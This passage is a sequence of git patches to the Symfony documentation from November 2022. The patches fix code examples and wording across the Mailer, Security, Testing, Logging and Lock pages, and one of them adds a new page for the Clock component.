-and you can invent whatever you need (e.g. ``ROLE_PRODUCT_ADMIN``).
+a user should have. The only rule is that every role **must start with** the
+``ROLE_`` prefix - otherwise, things won't work as expected. Other than that,
+a role is just a string and you can invent whatever you need (e.g. ``ROLE_PRODUCT_ADMIN``).
 
 You'll use these roles next to grant access to specific sections of your site.
 

From dfbf11a389b8a7bd5fbde0d2edc4306c8a2f789d Mon Sep 17 00:00:00 2001
From: Chris Taylor <chris@christaylordeveloper.co.uk>
Date: Mon, 21 Nov 2022 08:58:58 +0100
Subject: [PATCH 3884/7107] Emphasise where a method is returning a value.

---
 testing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/testing.rst b/testing.rst
index 778c2cb0dd0..a092a7b5bfa 100644
--- a/testing.rst
+++ b/testing.rst
@@ -247,7 +247,7 @@ Retrieving Services in the Test
 
 In your integration tests, you often need to fetch the service from the
 service container to call a specific method. After booting the kernel,
-the container is stored in ``static::getContainer()``::
+the container is returned by ``static::getContainer()``::
 
     // tests/Service/NewsletterGeneratorTest.php
     namespace App\Tests\Service;
@@ -273,7 +273,7 @@ the container is stored in ``static::getContainer()``::
         }
     }
 
-The container in ``static::getContainer()`` is actually a special test container.
+The container from ``static::getContainer()`` is actually a special test container.
 It gives you access to both the public services and the non-removed
 :ref:`private services <container-public>`.
 

From 3b4ebc0e5c6ef87ecafac980fe73aab5538a526d Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 22 Nov 2022 09:59:37 +0100
Subject: [PATCH 3885/7107] Update processors.rst

---
 logging/processors.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 99a6bb2c069..b07783e72d8 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -32,7 +32,7 @@ using a processor::
         }
 
         // this method is called for each log record; optimize it to not hurt performance
-        public function __invoke(array $record)
+        public function __invoke(LogRecord $record): LogRecord
         {
             try {
                 $session = $this->requestStack->getSession();
@@ -45,7 +45,7 @@ using a processor::
 
             $sessionId = substr($session->getId(), 0, 8) ?: '????????';
 
-            $record['extra']['token'] = $sessionId.'-'.substr(uniqid('', true), -8);
+            $record->extra['token'] = $sessionId.'-'.substr(uniqid('', true), -8);
 
             return $record;
         }

From 47a8c038831075d1e353fe0fee0f2b0f00badbfb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Nov 2022 13:26:05 +0100
Subject: [PATCH 3886/7107] [Mailer] Fix minor syntax issue

---
 mailer.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index de7c6ee8e30..cc0176a2f09 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -328,8 +328,9 @@ header, etc.) but most of the times you'll set text headers::
 
             // use an array if you want to add a header with multiple values
             // (for example in the "References" or "In-Reply-To" header)
-            ->addIdHeader('References', ['123@example.com', '456@example.com']);
-        // ...
+            ->addIdHeader('References', ['123@example.com', '456@example.com'])
+
+            // ...
     ;
 
 Message Contents

From 17c0fe1955ca27a30599df425e9279a08db45040 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Nov 2022 13:29:30 +0100
Subject: [PATCH 3887/7107] [Mailer] Fix some usages of DataPart and File

---
 mailer.rst | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index c15f2833083..dfcdf6b5094 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -448,13 +448,17 @@ File Attachments
 
 Use the ``addPart()`` method with a ``BodyFile`` to add files that exist on your file system::
 
+    use Symfony\Component\Mime\Part\DataPart;
+    use Symfony\Component\Mime\Part\File;
+    // ...
+
     $email = (new Email())
         // ...
-        ->addPart(new DataPart(new BodyFile('/path/to/documents/terms-of-use.pdf')))
+        ->addPart(new DataPart(new File('/path/to/documents/terms-of-use.pdf')))
         // optionally you can tell email clients to display a custom name for the file
-        ->addPart(new DataPart(new BodyFile('/path/to/documents/privacy.pdf', 'Privacy Policy')))
+        ->addPart(new DataPart(new File('/path/to/documents/privacy.pdf'), 'Privacy Policy'))
         // optionally you can provide an explicit MIME type (otherwise it's guessed)
-        ->addPart(new DataPart(new BodyFile('/path/to/documents/contract.doc', 'Contract', 'application/msword')))
+        ->addPart(new DataPart(new File('/path/to/documents/contract.doc'), 'Contract', 'application/msword'))
     ;
 
 Alternatively you can attach contents from a stream by passing it directly to the ``DataPart`` ::
@@ -486,7 +490,7 @@ file or stream::
         // get the image contents from a PHP resource
         ->addPart((new DataPart(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png'))->asInline())
         // get the image contents from an existing file
-        ->addPart((new DataPart(new BodyFile('/path/to/images/signature.gif', 'footer-signature', 'image/gif')))->asInline())
+        ->addPart((new DataPart(new File('/path/to/images/signature.gif'), 'footer-signature', 'image/gif'))->asInline())
     ;
 
 Use the ``asInline()`` method to embed the content instead of attaching it.
@@ -498,7 +502,7 @@ images inside the HTML contents::
     $email = (new Email())
         // ...
         ->addPart((new DataPart(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png'))->asInline())
-        ->addPart((new DataPart(new BodyFile('/path/to/images/signature.gif', 'footer-signature', 'image/gif')))->asInline())
+        ->addPart((new DataPart(new File('/path/to/images/signature.gif'), 'footer-signature', 'image/gif'))->asInline())
 
         // reference images using the syntax 'cid:' + "image embed name"
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')

From 24e39949f5cc45c541bbcbdd9252273d02c7368a Mon Sep 17 00:00:00 2001
From: Denis Brumann <denis.brumann@qossmic.com>
Date: Wed, 16 Nov 2022 18:51:01 +0100
Subject: [PATCH 3888/7107] [Clock] Documentation for new Clock component

---
 components/clock.rst | 105 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 105 insertions(+)
 create mode 100644 components/clock.rst

diff --git a/components/clock.rst b/components/clock.rst
new file mode 100644
index 00000000000..c76b3ede077
--- /dev/null
+++ b/components/clock.rst
@@ -0,0 +1,105 @@
+.. index::
+   single: Clock
+   single: Components; Clock
+
+The Clock Component
+===================
+
+.. versionadded:: 6.2
+
+    The Clock component was introduced in Symfony 6.2
+
+The Clock component decouples applications from the system clock. This allows
+you to fix time to improve testability of time-sensitive logic.
+
+The component provides a ``ClockInterface`` with the following implementations
+for different use cases:
+
+:class:`Symfony\\Component\\Clock\\NativeClock`
+    Provides a way to interact with the system clock, this is the same as doing
+    ``new \DateTimeImmutable()``.
+:class:`Symfony\\Component\\Clock\\MockClock`
+    Commonly used in tests as a replacement for the ``NativeClock`` to be able
+    to freeze and change the current time using either ``sleep()`` or ``modify()``.
+:class:`Symfony\\Component\\Clock\\MonotonicClock``
+    Relies on ``hrtime()`` and provides a high resolution, monotonic clock,
+    when you need a precise stopwatch.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/clock
+
+.. include:: /components/require_autoload.rst.inc
+
+NativeClock
+-----------
+
+A clock service replaces creating a new ``DateTime`` or
+``DateTimeImmutable`` object for the current time. Instead, you inject the
+``ClockInterface`` and call ``now()``. By default, your application will likely
+use a ``NativeClock``, which always returns the current system time. In tests it is replaced with a ``MockClock``.
+
+The following example introduces a service utilizing the Clock component to
+determine the current time::
+
+    use Symfony\Component\Clock\ClockInterface;
+
+    class ExpirationChecker
+    {
+        public function __construct(
+            private readonly ClockInterface $clock
+        ) {}
+
+        public function isExpired(DateTimeInterface $validUntil): bool
+        {
+            return $this->clock->now() > $validUntil;
+        }
+    }
+
+MockClock
+---------
+
+The ``MockClock`` is instantiated with a time and does not move forward on its own. The time is
+fixed until ``sleep()`` or ``modify()`` are called. This gives you full control over what your code
+assumes is the current time.
+
+When writing a test for this service, you can check both cases where something
+is expired or not, by modifying the clock's time::
+
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\Clock\MockClock;
+
+    class ExpirationCheckerTest extends TestCase
+    {
+        public function testIsExpired(): void
+        {
+            $clock = new MockClock('2022-11-16 15:20:00');
+            $expirationChecker = new ExpirationChecker($clock);
+            $validUntil = new DateTimeImmutable('2022-11-16 15:25:00');
+
+            // $validUntil is in the future, so it is not expired
+            static::assertFalse($expirationChecker->isExpired($validUntil));
+
+            // Clock sleeps for 10 minutes, so now is '2022-11-16 15:30:00'
+            $clock->sleep(600); // Instantly changes time as if we waited for 10 minutes (600secs)
+
+            // modify the clock, accepts all formats supported by DateTimeImmutable::modify()
+            static::assertTrue($expirationChecker->isExpired($validUntil));
+
+            $clock->modify('2022-11-16 15:00:00');
+
+            // $validUntil is in the future again, so it is no longer expired
+            static::assertFalse($expirationChecker->isExpired($validUntil));
+        }
+    }
+
+Monotonic Clock
+---------------
+
+The ``MonotonicClock`` allows you to implement a precise stopwatch, depending on the system up to
+nanosecond precision. It can be used to measure the elapsed time between 2 calls without being
+affected by inconsistencies sometimes introduced by the system clock, e.g. by updating it. Instead,
+it consistently increases time, making it especially useful for measuring performance.

From c1f8db7b83ede60dcfbb8091697fd416f6f3c98b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Nov 2022 13:31:45 +0100
Subject: [PATCH 3889/7107] [Form] Mention PropertyAccess in the
 hash_property_option of PasswordType

---
 reference/forms/types/password.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 6d87ae57af7..9f6010675f0 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -46,7 +46,7 @@ entered into the box, set this to false and submit the form.
 
 If set, the password will be hashed using the
 :doc:`PasswordHasher component </security/passwords>` and stored in the
-specified property.
+property defined by the given :doc:`PropertyAccess expression </components/property_access>`.
 
 Data passed to the form must be a
 :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`

From c59d4668af16a218956144dc4f4275f0d1abe0e4 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Thu, 24 Nov 2022 08:50:51 -0500
Subject: [PATCH 3890/7107] add missing use for Template attribute

---
 templates.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/templates.rst b/templates.rst
index 3ee4fd7dc4a..b527e18b57b 100644
--- a/templates.rst
+++ b/templates.rst
@@ -463,6 +463,7 @@ to define the template to render::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Bridge\Twig\Attribute\Template;
 
     class ProductController extends AbstractController
     {

From 82b431af41aeaa6799f71c6f3c0de307247e8f81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Nov 2022 20:30:53 +0100
Subject: [PATCH 3891/7107] Minor tweaks

---
 components/clock.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index c76b3ede077..1cd9757d69d 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -84,7 +84,7 @@ is expired or not, by modifying the clock's time::
             static::assertFalse($expirationChecker->isExpired($validUntil));
 
             // Clock sleeps for 10 minutes, so now is '2022-11-16 15:30:00'
-            $clock->sleep(600); // Instantly changes time as if we waited for 10 minutes (600secs)
+            $clock->sleep(600); // Instantly changes time as if we waited for 10 minutes (600 seconds)
 
             // modify the clock, accepts all formats supported by DateTimeImmutable::modify()
             static::assertTrue($expirationChecker->isExpired($validUntil));
@@ -99,7 +99,8 @@ is expired or not, by modifying the clock's time::
 Monotonic Clock
 ---------------
 
-The ``MonotonicClock`` allows you to implement a precise stopwatch, depending on the system up to
-nanosecond precision. It can be used to measure the elapsed time between 2 calls without being
-affected by inconsistencies sometimes introduced by the system clock, e.g. by updating it. Instead,
-it consistently increases time, making it especially useful for measuring performance.
+The ``MonotonicClock`` allows you to implement a precise stopwatch; depending on
+the system up to nanosecond precision. It can be used to measure the elapsed
+time between two calls without being affected by inconsistencies sometimes introduced
+by the system clock, e.g. by updating it. Instead, it consistently increases time,
+making it especially useful for measuring performance.

From a26b165930a6c52098db781040ec97be0635ab98 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 25 Nov 2022 09:44:58 +0100
Subject: [PATCH 3892/7107] [Security] use new class

---
 security.rst      | 6 +++---
 setup/bundles.rst | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/security.rst b/security.rst
index d42d7ef0fbc..84d4546821b 100644
--- a/security.rst
+++ b/security.rst
@@ -1613,7 +1613,7 @@ Login Programmatically
 
     The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
     class was introduced in Symfony 6.2. Prior to 6.2, it was called
-    ``Symfony\Component\Security\Core\Security``.
+    ``Symfony\Bundle\SecurityBundle\Security``.
 
 .. versionadded:: 6.2
 
@@ -1783,7 +1783,7 @@ Logout programmatically
 
     The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
     class was introduced in Symfony 6.2. Prior to 6.2, it was called
-    ``Symfony\Component\Security\Core\Security``.
+    ``Symfony\Bundle\SecurityBundle\Security``.
 
 .. versionadded:: 6.2
 
@@ -1929,7 +1929,7 @@ If you need to get the logged in user from a service, use the
 
     The :class:`Symfony\\Bundle\\SecurityBundle\\Security` class
     was introduced in Symfony 6.2. In previous Symfony versions this class was
-    defined in ``Symfony\Component\Security\Core\Security``.
+    defined in ``Symfony\Bundle\SecurityBundle\Security``.
 
 Fetch the User in a Template
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/setup/bundles.rst b/setup/bundles.rst
index fe4f59cb819..bf8c205e0b7 100644
--- a/setup/bundles.rst
+++ b/setup/bundles.rst
@@ -81,7 +81,7 @@ PHPUnit test report:
 
     Twig Function "form_enctype" is deprecated. Use "form_start" instead in ...
 
-    The Symfony\Component\Security\Core\SecurityContext class is deprecated since
+    The Symfony\Bundle\SecurityBundle\SecurityContext class is deprecated since
     version 2.6 and will be removed in 3.0. Use ...
 
 Fix the reported deprecations, run the test suite again and repeat the process

From 72c3c318b27107ccdfcd54c63e856fbed9e247dc Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Fri, 25 Nov 2022 13:25:07 +0100
Subject: [PATCH 3893/7107] Fix UX package list Dropzone display

---
 frontend/_ux-libraries.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index 8ca7eb5ca3b..a40a51109f5 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -4,7 +4,7 @@
 * `ux-chartjs`_: Easy charts with `Chart.js`_ (`see demo <https://ux.symfony.com/chartjs>`_)
 * `ux-cropperjs`_: Form Type and tools for cropping images (`see demo <https://ux.symfony.com/cropperjs>`_)
 * `ux-dropzone`_: Form Type for stylized "drop zone" for file uploads
-   (`see demo <https://ux.symfony.com/dropzone>`_)
+  (`see demo <https://ux.symfony.com/dropzone>`_)
 * `ux-lazy-image`_: Optimize Image Loading with BlurHash
   (`see demo <https://ux.symfony.com/lazy-image>`_)
 * `ux-live-component`_: Build Dynamic Interfaces with Zero JavaScript

From bf6c6ae2c73cbd89e241e46016485829ad31ad7f Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 5 Nov 2022 10:45:40 +0100
Subject: [PATCH 3894/7107] Make various changes/updates on the Lock docs

---
 components/lock.rst | 172 ++++++++++++++++++++++++--------------------
 lock.rst            |  52 +++++++++-----
 2 files changed, 127 insertions(+), 97 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index abbed7fc8b8..c1ceabd4438 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -42,10 +42,10 @@ resource. Then, a call to the :method:`Symfony\\Component\\Lock\\LockInterface::
 method will try to acquire the lock::
 
     // ...
-    $lock = $factory->createLock('pdf-invoice-generation');
+    $lock = $factory->createLock('pdf-creation');
 
     if ($lock->acquire()) {
-        // The resource "pdf-invoice-generation" is locked.
+        // The resource "pdf-creation" is locked.
         // You can compute and generate the invoice safely here.
 
         $lock->release();
@@ -81,20 +81,27 @@ continue the job in another process using the same lock::
     use Symfony\Component\Lock\Lock;
 
     $key = new Key('article.'.$article->getId());
-    $lock = new Lock($key, $this->store, 300, false);
+    $lock = new Lock(
+        $key,
+        $this->store,
+        300,  // ttl
+        false // autoRelease
+    );
     $lock->acquire(true);
 
     $this->bus->dispatch(new RefreshTaxonomy($article, $key));
 
 .. note::
 
-    Don't forget to disable the autoRelease to avoid releasing the lock when
-    the destructor is called.
+    Don't forget to set the ``autoRelease`` argument to ``false`` in the
+    ``Lock`` constructor to avoid releasing the lock when the destructor is
+    called.
 
-Not all stores are compatible with serialization and cross-process locking:
-for example, the kernel will automatically release semaphores acquired by the
+Not all stores are compatible with serialization and cross-process locking: for
+example, the kernel will automatically release semaphores acquired by the
 :ref:`SemaphoreStore <lock-store-semaphore>` store. If you use an incompatible
-store, an exception will be thrown when the application tries to serialize the key.
+store (see :ref:`lock stores <lock-stores>` for supported stores), an
+exception will be thrown when the application tries to serialize the key.
 
 .. _lock-blocking-locks:
 
@@ -102,44 +109,40 @@ Blocking Locks
 --------------
 
 By default, when a lock cannot be acquired, the ``acquire`` method returns
-``false`` immediately. To wait (indefinitely) until the lock
-can be created, pass ``true`` as the argument of the ``acquire()`` method. This
-is called a **blocking lock** because the execution of your application stops
-until the lock is acquired.
-
-Some of the built-in ``Store`` classes support this feature. When they don't,
-they can be decorated with the ``RetryTillSaveStore`` class::
+``false`` immediately. To wait (indefinitely) until the lock can be created,
+pass ``true`` as the argument of the ``acquire()`` method. This is called a
+**blocking lock** because the execution of your application stops until the
+lock is acquired::
 
     use Symfony\Component\Lock\LockFactory;
     use Symfony\Component\Lock\Store\RedisStore;
-    use Symfony\Component\Lock\Store\RetryTillSaveStore;
 
     $store = new RedisStore(new \Predis\Client('tcp://localhost:6379'));
-    $store = new RetryTillSaveStore($store);
     $factory = new LockFactory($store);
 
-    $lock = $factory->createLock('notification-flush');
+    $lock = $factory->createLock('pdf-creation');
     $lock->acquire(true);
 
-When the provided store does not implement the
-:class:`Symfony\\Component\\Lock\\BlockingStoreInterface` interface, the
-``Lock`` class will retry to acquire the lock in a non-blocking way until the
-lock is acquired.
+When the store does not support blocking locks by implementing the
+:class:`Symfony\\Component\\Lock\\BlockingStoreInterface` interface (see
+:ref:`lock stores <lock-stores>` for supported stores), the ``Lock`` class
+will retry to acquire the lock in a non-blocking way until the lock is
+acquired.
 
-.. deprecated:: 5.2
+.. versionadded:: 5.2
 
-    As of Symfony 5.2, you don't need to use the ``RetryTillSaveStore`` class
-    anymore. The ``Lock`` class now provides the default logic to acquire locks
-    in blocking mode when the store does not implement the
-    ``BlockingStoreInterface`` interface.
+    Default logic to retry acquiring a non-blocking lock was introduced in
+    Symfony 5.2. Prior to 5.2, you needed to wrap a store without support
+    for blocking locks in :class:`Symfony\\Component\\Lock\\Store\\RetryTillSaveStore`.
 
 Expiring Locks
 --------------
 
 Locks created remotely are difficult to manage because there is no way for the
 remote ``Store`` to know if the locker process is still alive. Due to bugs,
-fatal errors or segmentation faults, it cannot be guaranteed that ``release()``
-method will be called, which would cause the resource to be locked infinitely.
+fatal errors or segmentation faults, it cannot be guaranteed that the
+``release()`` method will be called, which would cause the resource to be
+locked infinitely.
 
 The best solution in those cases is to create **expiring locks**, which are
 released automatically after some amount of time has passed (called TTL for
@@ -154,7 +157,7 @@ method, the resource will stay locked until the timeout::
 
     // ...
     // create an expiring lock that lasts 30 seconds (default is 300.0)
-    $lock = $factory->createLock('charts-generation', 30);
+    $lock = $factory->createLock('pdf-creation', ttl: 30);
 
     if (!$lock->acquire()) {
         return;
@@ -175,7 +178,7 @@ then use the :method:`Symfony\\Component\\Lock\\LockInterface::refresh` method
 to reset the TTL to its original value::
 
     // ...
-    $lock = $factory->createLock('charts-generation', 30);
+    $lock = $factory->createLock('pdf-creation', ttl: 30);
 
     if (!$lock->acquire()) {
         return;
@@ -196,7 +199,7 @@ to reset the TTL to its original value::
     Another useful technique for long-running tasks is to pass a custom TTL as
     an argument of the ``refresh()`` method to change the default lock TTL::
 
-        $lock = $factory->createLock('charts-generation', 30);
+        $lock = $factory->createLock('pdf-creation', ttl: 30);
         // ...
         // refresh the lock for 30 seconds
         $lock->refresh();
@@ -212,12 +215,12 @@ Automatically Releasing The Lock
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Locks are automatically released when their Lock objects are destroyed. This is
-an implementation detail that will be important when sharing Locks between
+an implementation detail that is important when sharing Locks between
 processes. In the example below, ``pcntl_fork()`` creates two processes and the
 Lock will be released automatically as soon as one process finishes::
 
     // ...
-    $lock = $factory->createLock('report-generation', 3600);
+    $lock = $factory->createLock('pdf-creation');
     if (!$lock->acquire()) {
         return;
     }
@@ -236,9 +239,15 @@ Lock will be released automatically as soon as one process finishes::
     }
     // ...
 
-To disable this behavior, set to ``false`` the third argument of
-``LockFactory::createLock()``. That will make the lock acquired for 3600 seconds
-or until ``Lock::release()`` is called.
+To disable this behavior, set the ``autoRelease`` argument of
+``LockFactory::createLock()`` to ``false``. That will make the lock acquired
+for 3600 seconds or until ``Lock::release()`` is called::
+
+    $lock = $factory->createLock(
+        'pdf-creation',
+        3600, // ttl
+        false // autoRelease
+    );
 
 Shared Locks
 ------------
@@ -248,19 +257,19 @@ Shared Locks
     Shared locks (and the associated ``acquireRead()`` method and
     ``SharedLockStoreInterface``) were introduced in Symfony 5.2.
 
-A shared or `readers–writer lock`_ is a synchronization primitive that allows
+A shared or `readers-writer lock`_ is a synchronization primitive that allows
 concurrent access for read-only operations, while write operations require
 exclusive access. This means that multiple threads can read the data in parallel
 but an exclusive lock is needed for writing or modifying data. They are used for
 example for data structures that cannot be updated atomically and are invalid
 until the update is complete.
 
-Use the :method:`Symfony\\Component\\Lock\\SharedLockInterface::acquireRead` method
-to acquire a read-only lock, and the existing
+Use the :method:`Symfony\\Component\\Lock\\SharedLockInterface::acquireRead`
+method to acquire a read-only lock, and
 :method:`Symfony\\Component\\Lock\\LockInterface::acquire` method to acquire a
 write lock::
 
-    $lock = $factory->createLock('user'.$user->id);
+    $lock = $factory->createLock('user-'.$user->id);
     if (!$lock->acquireRead()) {
         return;
     }
@@ -268,7 +277,7 @@ write lock::
 Similar to the ``acquire()`` method, pass ``true`` as the argument of ``acquireRead()``
 to acquire the lock in a blocking mode::
 
-    $lock = $factory->createLock('user'.$user->id);
+    $lock = $factory->createLock('user-'.$user->id);
     $lock->acquireRead(true);
 
 .. note::
@@ -276,26 +285,27 @@ to acquire the lock in a blocking mode::
     The `priority policy`_ of Symfony's shared locks depends on the underlying
     store (e.g. Redis store prioritizes readers vs writers).
 
-When a read-only lock is acquired with the method ``acquireRead()``, it's
-possible to **promote** the lock, and change it to write lock, by calling the
+When a read-only lock is acquired with the ``acquireRead()`` method, it's
+possible to **promote** the lock, and change it to a write lock, by calling the
 ``acquire()`` method::
 
-    $lock = $factory->createLock('user'.$userId);
+    $lock = $factory->createLock('user-'.$userId);
     $lock->acquireRead(true);
 
     if (!$this->shouldUpdate($userId)) {
         return;
     }
 
-    $lock->acquire(true); // Promote the lock to write lock
+    $lock->acquire(true); // Promote the lock to a write lock
     $this->update($userId);
 
 In the same way, it's possible to **demote** a write lock, and change it to a
 read-only lock by calling the ``acquireRead()`` method.
 
 When the provided store does not implement the
-:class:`Symfony\\Component\\Lock\\SharedLockStoreInterface` interface, the
-``Lock`` class will fallback to a write lock by calling the ``acquire()`` method.
+:class:`Symfony\\Component\\Lock\\SharedLockStoreInterface` interface (see
+:ref:`lock stores <lock-stores>` for supported stores), the ``Lock`` class
+will fallback to a write lock by calling the ``acquire()`` method.
 
 The Owner of The Lock
 ---------------------
@@ -308,8 +318,8 @@ a lock, you can use the ``isAcquired()`` method::
         // We (still) own the lock
     }
 
-Because of the fact that some lock stores have expiring locks (as seen and explained
-above), it is possible for an instance to lose the lock it acquired automatically::
+Because some lock stores have expiring locks, it is possible for an instance to
+lose the lock it acquired automatically::
 
     // If we cannot acquire ourselves, it means some other process is already working on it
     if (!$lock->acquire()) {
@@ -335,13 +345,15 @@ above), it is possible for an instance to lose the lock it acquired automaticall
     A common pitfall might be to use the ``isAcquired()`` method to check if
     a lock has already been acquired by any process. As you can see in this example
     you have to use ``acquire()`` for this. The ``isAcquired()`` method is used to check
-    if the lock has been acquired by the **current process** only!
+    if the lock has been acquired by the **current process** only.
 
 .. [1] Technically, the true owners of the lock are the ones that share the same instance of ``Key``,
     not ``Lock``. But from a user perspective, ``Key`` is internal and you will likely only be working
     with the ``Lock`` instance so it's easier to think of the ``Lock`` instance as being the one that
     is the owner of the lock.
 
+.. _lock-stores:
+
 Available Stores
 ----------------
 
@@ -391,7 +403,7 @@ when the PHP process ends)::
 
     Beware that some file systems (such as some types of NFS) do not support
     locking. In those cases, it's better to use a directory on a local disk
-    drive or a remote store based on PDO, Redis or Memcached.
+    drive or a remote store.
 
 .. _lock-store-memcached:
 
@@ -448,7 +460,7 @@ Option         Description
 gcProbablity   Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
 database       The name of the database
 collection     The name of the collection
-uriOptions     Array of uri options for `MongoDBClient::__construct`_
+uriOptions     Array of URI options for `MongoDBClient::__construct`_
 driverOptions  Array of driver options for `MongoDBClient::__construct`_
 =============  ================================================================================================
 
@@ -548,7 +560,7 @@ locks::
     use Symfony\Component\Lock\Store\PostgreSqlStore;
 
     // a PDO instance or DSN for lazy connecting through PDO
-    $databaseConnectionOrDSN = 'pgsql:host=localhost;port=5634;dbname=lock';
+    $databaseConnectionOrDSN = 'pgsql:host=localhost;port=5634;dbname=app';
     $store = new PostgreSqlStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']);
 
 In opposite to the ``PdoStore``, the ``PostgreSqlStore`` does not need a table to
@@ -620,10 +632,10 @@ CombinedStore
 ~~~~~~~~~~~~~
 
 The CombinedStore is designed for High Availability applications because it
-manages several stores in sync (for example, several Redis servers). When a lock
-is being acquired, it forwards the call to all the managed stores, and it
-collects their responses. If a simple majority of stores have acquired the lock,
-then the lock is considered as acquired; otherwise as not acquired::
+manages several stores in sync (for example, several Redis servers). When a
+lock is acquired, it forwards the call to all the managed stores, and it
+collects their responses. If a simple majority of stores have acquired the
+lock, then the lock is considered acquired::
 
     use Symfony\Component\Lock\Store\CombinedStore;
     use Symfony\Component\Lock\Store\RedisStore;
@@ -641,14 +653,19 @@ then the lock is considered as acquired; otherwise as not acquired::
 
 Instead of the simple majority strategy (``ConsensusStrategy``) an
 ``UnanimousStrategy`` can be used to require the lock to be acquired in all
-the stores.
+the stores::
+
+    use Symfony\Component\Lock\Store\CombinedStore;
+    use Symfony\Component\Lock\Strategy\UnanimousStrategy;
+
+    $store = new CombinedStore($stores, new UnanimousStrategy());
 
 .. caution::
 
     In order to get high availability when using the ``ConsensusStrategy``, the
     minimum cluster size must be three servers. This allows the cluster to keep
     working when a single server fails (because this strategy requires that the
-    lock is acquired in more than half of the servers).
+    lock is acquired for more than half of the servers).
 
 .. _lock-store-zookeeper:
 
@@ -692,7 +709,7 @@ the true owner of the lock. This token is stored in the
 :class:`Symfony\\Component\\Lock\\Key` object and is used internally by
 the ``Lock``.
 
-Every concurrent process must store the ``Lock`` in the same server. Otherwise two
+Every concurrent process must store the ``Lock`` on the same server. Otherwise two
 different machines may allow two different processes to acquire the same ``Lock``.
 
 .. caution::
@@ -716,10 +733,10 @@ The ``Lock`` provides several methods to check its health. The ``isExpired()``
 method checks whether or not its lifetime is over and the ``getRemainingLifetime()``
 method returns its time to live in seconds.
 
-Using the above methods, a more robust code would be::
+Using the above methods, a robust code would be::
 
     // ...
-    $lock = $factory->createLock('invoice-publication', 30);
+    $lock = $factory->createLock('pdf-creation', 30);
 
     if (!$lock->acquire()) {
         return;
@@ -748,7 +765,7 @@ Using the above methods, a more robust code would be::
     may increase that time a lot (up to a few seconds). Take that into account
     when choosing the right TTL.
 
-By design, locks are stored in servers with a defined lifetime. If the date or
+By design, locks are stored on servers with a defined lifetime. If the date or
 time of the machine changes, a lock could be released sooner than expected.
 
 .. caution::
@@ -778,15 +795,14 @@ Some file systems (such as some types of NFS) do not support locking.
     All concurrent processes must use the same physical file system by running
     on the same machine and using the same absolute path to the lock directory.
 
-    By definition, usage of ``FlockStore`` in an HTTP context is incompatible
-    with multiple front servers, unless to ensure that the same resource will
-    always be locked on the same machine or to use a well configured shared file
-    system.
+    Using a ``FlockStore`` in an HTTP context is incompatible with multiple
+    front servers, unless to ensure that the same resource will always be
+    locked on the same machine or to use a well configured shared file system.
 
-Files on the file system can be removed during a maintenance operation. For instance,
-to clean up the ``/tmp`` directory or after a reboot of the machine when a directory
-uses tmpfs. It's not an issue if the lock is released when the process ended, but
-it is in case of ``Lock`` reused between requests.
+Files on the file system can be removed during a maintenance operation. For
+instance, to clean up the ``/tmp`` directory or after a reboot of the machine
+when a directory uses ``tmpfs``. It's not an issue if the lock is released when
+the process ended, but it is in case of ``Lock`` reused between requests.
 
 .. caution::
 
@@ -832,8 +848,8 @@ MongoDbStore
 .. caution::
 
     The locked resource name is indexed in the ``_id`` field of the lock
-    collection. Beware that in MongoDB an indexed field's value can be
-    `a maximum of 1024 bytes in length`_ inclusive of structural overhead.
